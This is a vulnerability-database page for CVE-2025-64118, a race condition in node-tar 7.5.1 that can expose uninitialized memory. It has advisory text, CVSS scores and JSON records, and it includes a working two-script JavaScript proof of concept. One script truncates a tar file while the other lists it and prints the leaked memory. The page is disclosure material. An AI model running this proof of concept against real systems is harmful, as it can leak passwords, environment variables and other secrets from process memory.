Vulnerability-Lookup

CVE-2025-64118 (GCVE-0-2025-64118)

Vulnerability from cvelistv5 – Published: 2025-10-30 17:50 – Updated: 2025-10-30 18:42

Title

node-tar vulnerable to race condition leading to uninitialized memory exposure

Summary

node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.

Severity ?

6.1 (Medium)


                        
                          CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

Assigner

GitHub_M

References

URL

Tags

	https://github.com/isaacs/node-tar/security/advis…	x_refsource_CONFIRM
	https://github.com/isaacs/node-tar/issues/445	x_refsource_MISC
	https://github.com/isaacs/node-tar/pull/446	x_refsource_MISC
	https://github.com/isaacs/node-tar/commit/5330eb0…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	isaacs	node-tar	Affected: = 7.5.1

Show details on NVD website

JSON

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                "id": "CVE-2025-64118",
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GHSA-29XP-372Q-XQPH

Vulnerability from github – Published: 2025-10-30 17:13 – Updated: 2025-10-30 19:53

Summary

node-tar has a race condition leading to uninitialized memory exposure

Details

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See: * https://github.com/isaacs/node-tar/issues/445 * https://github.com/isaacs/node-tar/pull/446 * Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d

PoC

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

Severity ?

6.1 (Medium)


                  
                    CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.5.1"
            },
            {
              "fixed": "7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "7.5.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-30T17:13:17Z",
    "nvd_published_at": "2025-10-30T18:15:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nUsing `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.\n\n### Details\n\nSee:\n* https://github.com/isaacs/node-tar/issues/445\n* https://github.com/isaacs/node-tar/pull/446\n* Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d\n\n### PoC\n\nA:\n```js\nimport * as tar from \u0027tar\u0027\nimport fs from \u0027node:fs\u0027\n\nfs.writeFileSync(\u0027tar.test.tmp\u0027, Buffer.alloc(1*1024))\n\n// from readme\nconst filesAdded = []\ntar.c(\n  {\n    sync: true,\n    file: \u0027tar.test.tmp.tar\u0027,\n    onWriteEntry(entry) {\n      // initially, it\u0027s uppercase and 0o644\n      console.log(\u0027adding\u0027, entry.path, entry.stat.mode.toString(8))\n      // make all the paths lowercase\n      entry.path = entry.path.toLowerCase()\n      // make the entry executable\n      entry.stat.mode = 0o755\n      // in the archive, it\u0027s lowercase and 0o755\n      filesAdded.push([entry.path, entry.stat.mode.toString(8)])\n    },\n  },\n  [\u0027./tar.test.tmp\u0027],\n)\n\nconst a = fs.readFileSync(\u0027tar.test.tmp.tar\u0027)\n\nfor (let i = 0; ; i++){\n  if (i % 10000 === 0) console.log(i)\n  fs.writeFileSync(\u0027tar.test.tmp.tar\u0027, a)\n  fs.truncateSync(\u0027tar.test.tmp.tar\u0027, 600)\n}\n```\n\nB (vulnerable):\n```js\nimport * as tar from \u0027tar\u0027\nimport * as fs from \u0027fs\u0027\n\nwhile (true) {\n  fs.readFileSync(import.meta.filename)\n  tar.t({\n    sync: true,\n    file: \u0027tar.test.tmp.tar\u0027,\n    onReadEntry: e =\u003e e.on(\u0027data\u0027, b =\u003e {\n      const a = b.filter(x =\u003e x)\n      if (a.length \u003e 0) console.log(a.toString())\n    })\n  })\n}\n```\n\nRun A and B in parallel on Node.js 22 or \u003e=25.1.0\n\nDumps `B` memory (wait for some time to observe text data)\n\n### Impact\n\nExposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.\n\nTo execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via `stat`, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in `strict: true` mode, or by default, skipping the entry harmlessly).\n\nThis is conditional on using the `sync: true` option to the `tar.list`/`tar.t` method, and the `7.5.1` version specifically. Earlier versions were not affected.\n\nThis is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).\n\nIf the tar file is initially larger than the `opt.maxReadSize` (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.\n\nBy default, `tar.list` does _not_ process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an `onReadEntry` method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).\n\nOther methods in this library (`tar.extract`, etc.) are not affected by this vulnerability.",
  "id": "GHSA-29xp-372q-xqph",
  "modified": "2025-10-30T19:53:34Z",
  "published": "2025-10-30T17:13:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/issues/445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/pull/446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/5e1a8e638600d3c3a2969b4de6a6ec44fa8d74c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar has a race condition leading to uninitialized memory exposure"
}

FKIE_CVE-2025-64118

Vulnerability from fkie_nvd - Published: 2025-10-30 18:15 - Updated: 2025-11-04 15:41

Severity ?

6.1 (Medium) - CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
	security-advisories@github.com	https://github.com/isaacs/node-tar/issues/445
	security-advisories@github.com	https://github.com/isaacs/node-tar/pull/446
	security-advisories@github.com	https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2."
    }
  ],
  "id": "CVE-2025-64118",
  "lastModified": "2025-11-04T15:41:56.843",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "HIGH",
          "attackRequirements": "PRESENT",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "LOW",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-10-30T18:15:33.673",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/issues/445"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/pull/446"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-29xp-372q-xqph"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-362"
        },
        {
          "lang": "en",
          "value": "CWE-367"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-64118 (GCVE-0-2025-64118)

GHSA-29XP-372Q-XQPH

Summary

Details

PoC

Impact

FKIE_CVE-2025-64118

Tags

Sightings

Nomenclature